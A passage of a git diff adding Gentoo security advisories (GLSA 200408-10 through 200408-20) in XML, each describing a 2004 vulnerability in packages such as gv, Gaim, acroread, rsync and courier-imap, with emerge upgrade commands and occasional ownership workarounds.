+  <metadata tag="submitter" timestamp="Mon,  9 Aug 2004 18:49:24 +0000">
+    chriswhite
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-10.xml b/xml/htdocs/security/en/glsa/glsa-200408-10.xml
new file mode 100644
index 00000000..d34bc33e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-10">
+  <title>gv: Exploitable Buffer Overflow</title>
+  <synopsis>
+    gv contains an exploitable buffer overflow that allows an attacker to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">gv</product>
+  <announced>August 12, 2004</announced>
+  <revised>August 12, 2004: 01</revised>
+  <bug>59385</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/gv" auto="yes" arch="*">
+      <unaffected range="ge">3.5.8-r4</unaffected>
+      <vulnerable range="le">3.5.8-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gv is a PostScript and PDF viewer for X which provides a user interface for
+    the ghostscript interpreter.
+    </p>
+  </background>
+  <description>
+    <p>
+    gv contains a buffer overflow vulnerability where an unsafe sscanf() call
+    is used to interpret PDF and PostScript files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to view a malformed PDF or PostScript file an attacker
+    could execute arbitrary code with the permissions of the user running gv.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of gv.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-text/gv-3.5.8-r4"
+    # emerge ">=app-text/gv-3.5.8-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838">CAN-2002-0838</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  5 Aug 2004 09:15:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  8 Aug 2004 20:43:19 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-11.xml b/xml/htdocs/security/en/glsa/glsa-200408-11.xml
new file mode 100644
index 00000000..0dcdb9ef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-11">
+  <title>Nessus: "adduser" race condition vulnerability</title>
+  <synopsis>
+    Nessus contains a vulnerability allowing a user to perform a privilege
+    escalation attack.
+  </synopsis>
+  <product type="ebuild">Nessus</product>
+  <announced>August 12, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>58014</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-analyzer/nessus" auto="yes" arch="*">
+      <unaffected range="ge">2.0.12</unaffected>
+      <vulnerable range="le">2.0.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Nessus is a free and powerful network security scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    A race condition can occur in "nessus-adduser" if the user has not
+    configured their TMPDIR variable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious user could exploit this bug to escalate privileges to the
+    rights of the user running "nessus-adduser".
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Nessus.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Nessus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-analyzer/nessus-2.0.12&quot;
+    # emerge &quot;&gt;=net-analyzer/nessus-2.0.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/12127/">Secunia Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1445">CVE-2004-1445</uri>
+  </references>
+  <metadata tag="requester">
+    koon
+  </metadata>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-12.xml b/xml/htdocs/security/en/glsa/glsa-200408-12.xml
new file mode 100644
index 00000000..130ddb35
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-12.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-12">
+  <title>Gaim: MSN protocol parsing function buffer overflow</title>
+  <synopsis>
+    Gaim contains a remotely exploitable buffer overflow vulnerability in the
+    MSN-protocol parsing code that may allow remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">gaim</product>
+  <announced>August 12, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>60034</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">0.81-r1</unaffected>
+      <vulnerable range="le">0.81</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a multi-protocol instant messaging client for Linux which
+    supports many instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of the SuSE Security Team has discovered a remotely
+    exploitable buffer overflow vulnerability in the code handling MSN
+    protocol parsing.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a carefully-crafted message, an attacker may execute
+    arbitrary code with the permissions of the user running Gaim.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Gaim.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-im/gaim-0.81-r1&quot;
+    # emerge &quot;&gt;=net-im/gaim-0.81-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.osvdb.org/displayvuln.php?osvdb_id=8382">OSVDB ID: 8382</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0500">CVE-2004-0500</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 12 Aug 2004 16:07:01 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-13.xml b/xml/htdocs/security/en/glsa/glsa-200408-13.xml
new file mode 100644
index 00000000..6f740ee3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-13.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-13">
+  <title>kdebase, kdelibs: Multiple security issues</title>
+  <synopsis>
+    KDE contains three security issues that can allow an attacker to compromise
+    system accounts, cause a Denial of Service, or spoof websites via frame
+    injection.
+  </synopsis>
+  <product type="ebuild">kde, kdebase, kdelibs</product>
+  <announced>August 12, 2004</announced>
+  <revised>August 12, 2004: 01</revised>
+  <bug>60068</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="kde-base/kdebase" auto="yes" arch="*">
+      <unaffected range="ge">3.2.3-r1</unaffected>
+      <vulnerable range="lt">3.2.3-r1</vulnerable>
+    </package>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.2.3-r1</unaffected>
+      <vulnerable range="lt">3.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a powerful Free Software graphical desktop environment for Linux and
+    Unix-like Operating Systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    KDE contains three security issues:
+    </p>
+    <ul>
+    <li>Insecure handling of temporary files when running KDE applications
+    outside of the KDE environment</li>
+    <li>DCOPServer creates temporary files in an insecure manner</li>
+    <li>The Konqueror browser allows websites to load webpages into a target
+    frame of any other open frame-based webpage</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to create or overwrite
+    files with the permissions of another user, compromise the account of users
+    running a KDE application and insert arbitrary frames into an otherwise
+    trusted webpage.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of kdebase.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KDE users should upgrade to the latest versions of kdelibs and kdebase:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=kde-base/kdebase-3.2.3-r1"
+    # emerge ">=kde-base/kdebase-3.2.3-r1"
+
+    # emerge -pv ">=kde-base/kdelibs-3.2.3-r1"
+    # emerge ">=kde-base/kdelibs-3.2.3-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20040811-1.txt">KDE Advisory: Temporary Directory Vulnerability</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20040811-2.txt">KDE Advisory: DCOPServer Temporary Filename Vulnerability</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20040811-3.txt">KDE Advisory: Konqueror Frame Injection Vulnerability</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 Aug 2004 17:47:27 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-14.xml b/xml/htdocs/security/en/glsa/glsa-200408-14.xml
new file mode 100644
index 00000000..b1bf7c8d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-14">
+  <title>acroread: UUDecode filename buffer overflow</title>
+  <synopsis>
+    acroread contains two errors in the handling of UUEncoded filenames that
+    may lead to execution of arbitrary code or programs.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>August 15, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>60205</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">5.09</unaffected>
+      <vulnerable range="le">5.08</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    acroread is Adobe's Acrobat PDF reader for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    acroread contains two errors in the handling of UUEncoded filenames.
+    First, it fails to check the length of a filename before copying it
+    into a fixed size buffer and, secondly, it fails to check for the
+    backtick shell metacharacter in the filename before executing a command
+    with a shell.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a PDF with a specially crafted filename, an
+    attacker could execute arbitrary code or programs with the permissions
+    of the user running acroread.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of acroread.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All acroread users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-text/acroread-5.09&quot;
+    # emerge &quot;&gt;=app-text/acroread-5.09&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://idefense.com/application/poi/display?id=124&amp;type=vulnerabilities">iDEFENSE Advisory 124</uri>
+    <uri link="http://idefense.com/application/poi/display?id=125&amp;type=vulnerabilities">iDEFENSE Advisory 125</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0630">CVE-2004-0630</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0631">CVE-2004-0631</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 14 Aug 2004 07:56:36 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-15.xml b/xml/htdocs/security/en/glsa/glsa-200408-15.xml
new file mode 100644
index 00000000..8b41b116
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-15.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-15">
+  <title>Tomcat: Insecure installation</title>
+  <synopsis>
+    Improper file ownership may allow a member of the tomcat group to execute
+    scripts as root.
+  </synopsis>
+  <product type="ebuild">tomcat</product>
+  <announced>August 15, 2004</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>59232</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-servers/tomcat" auto="yes" arch="*">
+      <unaffected range="ge">5.0.27-r3</unaffected>
+      <unaffected range="rge">4.1.30-r4</unaffected>
+      <unaffected range="rge">3.3.2-r2</unaffected>
+      <vulnerable range="lt">5.0.27-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tomcat is the Apache Jakarta Project's official implementation of Java
+    Servlets and Java Server Pages.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Gentoo ebuild for Tomcat sets the ownership of the Tomcat init
+    scripts as tomcat:tomcat, but those scripts are executed with root
+    privileges when the system is started. This may allow a member of the
+    tomcat group to run arbitrary code with root privileges when the Tomcat
+    init scripts are run.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This could lead to a local privilege escalation or root compromise by
+    authenticated users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users may change the ownership of /etc/init.d/tomcat* and
+    /etc/conf.d/tomcat* to be root:root:
+    </p>
+    <code>
+    # chown -R root:root /etc/init.d/tomcat*
+    # chown -R root:root /etc/conf.d/tomcat*</code>
+  </workaround>
+  <resolution>
+    <p>
+    All Tomcat users can upgrade to the latest stable version, or simply
+    apply the workaround:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv &quot;&gt;=www-servers/tomcat-5.0.27-r3&quot;
+    # emerge &quot;&gt;=www-servers/tomcat-5.0.27-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1452">CVE-2004-1452</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun,  8 Aug 2004 20:54:24 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-16.xml b/xml/htdocs/security/en/glsa/glsa-200408-16.xml
new file mode 100644
index 00000000..51f23abf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-16.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-16">
+  <title>glibc: Information leak with LD_DEBUG</title>
+  <synopsis>
+    glibc contains an information leak vulnerability allowing the debugging of
+    SUID binaries.
+  </synopsis>
+  <product type="ebuild">glibc</product>
+  <announced>August 16, 2004</announced>
+  <revised>May 28, 2006: 04</revised>
+  <bug>59526</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-libs/glibc" auto="yes" arch="alpha arm hppa ia64 sparc s390">
+      <unaffected range="ge">2.3.2-r11</unaffected>
+      <vulnerable range="le">2.3.2-r10</vulnerable>
+    </package>
+    <package name="sys-libs/glibc" auto="yes" arch="x86 ppc">
+      <unaffected range="ge">2.3.3.20040420-r1</unaffected>
+      <vulnerable range="le">2.3.3.20040420</vulnerable>
+    </package>
+    <package name="sys-libs/glibc" auto="yes" arch="mips">
+      <unaffected range="ge">2.3.4.20040619-r1</unaffected>
+      <vulnerable range="le">2.3.3.20040420</vulnerable>
+    </package>
+    <package name="sys-libs/glibc" auto="yes" arch="amd64">
+      <unaffected range="ge">2.3.4.20040619-r1</unaffected>
+      <vulnerable range="le">2.3.4.20040619</vulnerable>
+    </package>
+    <package name="sys-libs/glibc" auto="yes" arch="ppc64">
+      <unaffected range="ge">2.3.4.20040808</unaffected>
+      <vulnerable range="le">2.3.4.20040605</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU C library defines various Unix-like "system calls" and other
+    basic facilities needed for a standard POSIX-like application to
+    operate.
+    </p>
+  </background>
+  <description>
+    <p>
+    Silvio Cesare discovered a potential information leak in glibc. It
+    allows LD_DEBUG on SUID binaries where it should not be allowed. This
+    has various security implications, which may be used to gain
+    confidentional information.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker can gain the list of symbols a SUID application uses and
+    their locations and can then use a trojaned library taking precendence
+    over those symbols to gain information or perform further exploitation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of glibc.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All glibc users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv your_version
+    # emerge your_version</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1453">CVE-2004-1453</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 17:16:41 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-17.xml b/xml/htdocs/security/en/glsa/glsa-200408-17.xml
new file mode 100644
index 00000000..c49553d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-17.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-17">
+  <title>rsync: Potential information leakage</title>
+  <synopsis>
+    rsync fails to properly sanitize paths. This vulnerability could allow the
+    listing of arbitrary files and allow file overwriting outside module's path
+    on rsync server configurations that allow uploading.
+  </synopsis>
+  <product type="ebuild">rsync</product>
+  <announced>August 17, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>60309</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.6.0-r3</unaffected>
+      <vulnerable range="le">2.6.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a utility that provides fast incremental file transfers. It is
+    used to efficiently synchronize files between hosts and is used by
+    emerge to fetch Gentoo's Portage tree. rsyncd is the rsync daemon,
+    which listens to connections from rsync clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    The paths sent by the rsync client are not checked thoroughly enough.
+    It does not affect the normal send/receive filenames that specify what
+    files should be transferred. It does affect certain option paths that
+    cause auxilliary files to be read or written.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When rsyncd is used without chroot ("use chroot = false" in the
+    rsyncd.conf file), this vulnerability could allow the listing of
+    arbitrary files outside module's path and allow file overwriting
+    outside module's path on rsync server configurations that allows
+    uploading. Both possibilities are exposed only when chroot option is
+    disabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You should never set the rsync daemon to run with "use chroot = false".
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should update to the latest version of the rsync package.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/rsync-2.6.0-r3&quot;
+    # emerge &quot;&gt;=net-misc/rsync-2.6.0-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://samba.org/rsync/#security_aug04">rsync Advisory</uri>
+    <uri link="http://lists.samba.org/archive/rsync-announce/2004/000017.html">rsync 2.6.2 announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0792">CVE-2004-0792</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 14 Aug 2004 19:22:18 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-18.xml b/xml/htdocs/security/en/glsa/glsa-200408-18.xml
new file mode 100644
index 00000000..bdfaae11
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-18.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-18">
+  <title>xine-lib: VCD MRL buffer overflow</title>
+  <synopsis>
+    xine-lib contains an exploitable buffer overflow in the VCD handling code
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>August 17, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>59948</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1_rc5-r3</unaffected>
+      <vulnerable range="le">1_rc5-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is a multimedia library which can be utilized to create
+    multimedia frontends.
+    </p>
+  </background>
+  <description>
+    <p>
+    xine-lib contains a bug where it is possible to overflow the vcd://
+    input source identifier management buffer through carefully crafted
+    playlists.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may construct a carefully-crafted playlist file which will
+    cause xine-lib to execute arbitrary code with the permissions of the
+    user. In order to conform with the generic naming standards of most
+    Unix-like systems, playlists can have extensions other than .asx (the
+    standard xine playlist format), and made to look like another file
+    (MP3, AVI, or MPEG for example). If an attacker crafts a playlist with
+    a valid header, they can insert a VCD playlist line that can cause a
+    buffer overflow and possible shellcode execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of xine-lib.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-libs/xine-lib-1_rc5-r3&quot;
+    # emerge &quot;&gt;=media-libs/xine-lib-1_rc5-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.open-security.org/advisories/6">Open Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1475">CVE-2004-1475</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 14 Aug 2004 05:07:02 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-19.xml b/xml/htdocs/security/en/glsa/glsa-200408-19.xml
new file mode 100644
index 00000000..7f19d2ec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-19.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-19">
+  <title>courier-imap: Remote Format String Vulnerability</title>
+  <synopsis>
+    There is a format string vulnerability in non-standard configurations of
+    courier-imapd which may be exploited remotely. An attacker may be able to
+    execute arbitrary code as the user running courier-imapd (oftentimes root).
+  </synopsis>
+  <product type="ebuild">courier-imap</product>
+  <announced>August 19, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>60865</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/courier-imap" auto="yes" arch="*">
+      <unaffected range="ge">3.0.5</unaffected>
+      <vulnerable range="le">3.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Courier-IMAP is an IMAP server which is part of the Courier mail
+    system. It provides access only to maildirs.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a format string vulnerability in the auth_debug() function
+    which can be exploited remotely, potentially leading to arbitrary code
+    execution as the user running the IMAP daemon (oftentimes root). A
+    remote attacker may send username or password information containing
+    printf() format tokens (such as "%s"), which will crash the server or
+    cause it to execute arbitrary code.
+    </p>
+    <p>
+    This vulnerability can only be exploited if DEBUG_LOGIN is set to
+    something other than 0 in the imapd config file.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If DEBUG_LOGIN is enabled in the imapd configuration, a remote attacker
+    may execute arbitrary code as the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Set the DEBUG_LOGIN option in /etc/courier-imap/imapd to 0. (This is
+    the default value.)
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All courier-imap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-mail/courier-imap-3.0.5&quot;
+    # emerge &quot;&gt;=net-mail/courier-imap-3.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=131&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0777">CVE-2004-0777</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 19 Aug 2004 18:47:27 +0000">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-20.xml b/xml/htdocs/security/en/glsa/glsa-200408-20.xml
new file mode 100644
index 00000000..84a7273d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-20.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-20">
+  <title>Qt: Image loader overflows</title>
+  <synopsis>
+    There are several bugs in Qt's image-handling code which could lead to
+    crashes or arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">Qt</product>
+  <announced>August 22, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>60855</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">3.3.3</unaffected>
+      <vulnerable range="le">3.3.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI toolkit used by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are several unspecified bugs in the QImage class which may cause
+    crashes or allow execution of arbitrary code as the user running the Qt
+    application. These bugs affect the PNG, XPM, BMP, GIF and JPEG image
+    types.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may exploit these bugs by causing a user to open a
+    carefully-constructed image file in any one of these formats. This may
+    be accomplished through e-mail attachments (if the user uses KMail), or
+    by simply placing a malformed image on a website and then convicing the
+    user to load the site in a Qt-based browser (such as Konqueror).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Qt.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=x11-libs/qt-3.3.3&quot;
+    # emerge &quot;&gt;=x11-libs/qt-3.3.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mandrakesoft.com/security/advisories?name=MDKSA-2004:085">Mandrake Advisory</uri>
+    <uri link="http://www.trolltech.com/developer/changes/changes-3.3.3.html">Qt 3.3.3 ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0691">CVE-2004-0691</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0692">CVE-2004-0692</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0693">CVE-2004-0693</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 20 Aug 2004 22:45:25 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 21 Aug 2004 19:29:43 +0000">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-21.xml b/xml/htdocs/security/en/glsa/glsa-200408-21.xml
new file mode 100644
index 00000000..6335d0cf
--- /dev/null
